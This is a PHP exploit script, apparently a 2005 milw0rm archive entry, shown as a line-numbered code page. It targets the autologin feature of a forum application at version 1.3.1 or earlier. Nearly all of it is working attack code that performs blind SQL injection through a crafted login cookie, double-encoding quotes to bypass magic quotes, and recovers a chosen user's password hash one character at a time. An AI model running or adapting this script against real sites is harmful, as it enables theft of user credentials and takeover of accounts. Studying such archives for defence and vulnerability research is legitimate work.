File size: 2,218 Bytes
497f2f3
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php

/* 

<= 1.3.1 Final

/str0ke

*/



$server = "SERVER";

$port = 80;

$file = "PATH";



$target = 81;



/* User id and password used to fake-logon are not important. '10' is a

random number. */

$id = 10;

$pass = "";



$hex = "0123456789abcdef";

for($i = 1; $i <= 32; $i++ ) {

        $idx = 0;

        $found = false;



        while( !($found) ) {

                $letter = substr($hex, $idx, 1);



                /* %2527 translates to %27, which gets past magic quotes.

This is translated to ' by urldecode. */

                $cookie =

"member_id=$id;pass_hash=$pass%2527%20OR%20id=$target";

                $cookie .=

"%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527" . $letter;



                /* Query is in effect: SELECT * FROM ibf_members

                                       WHERE id=$id AND password='$pass' OR

id=$target

                                       HAVING id=$target AND

MID(`password`,$i,1)='$letter' */



                $header = getHeader($server, $port, $file .

"index.php?act=Login&CODE=autologin", $cookie);

                if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/',

$header) ) {

                        echo $i . ": " . $letter . "\n";

                        $found = true;



                        $hash .= $letter;

                } else {

                        $idx++;

                }

        }

}



echo "\n\nFinal Hash: $hash\n";



function getHeader($server, $port, $file, $cookie) {

        $ip = gethostbyname($server);

        $fp = fsockopen($ip, $port);



        if (!$fp) {

                return "Unknown";

        } else {

                $com = "HEAD $file HTTP/1.1\r\n";

                $com .= "Host: $server:$port\r\n";

                $com .= "Cookie: $cookie\r\n";

                $com .= "Connection: close\r\n";

                $com .= "\r\n";



                fputs($fp, $com);



                do {

                        $header.= fread($fp, 512);

                } while( !preg_match('/\r\n\r\n$/',$header) );

        }



        return $header;

}

?>



// milw0rm.com [2005-06-08]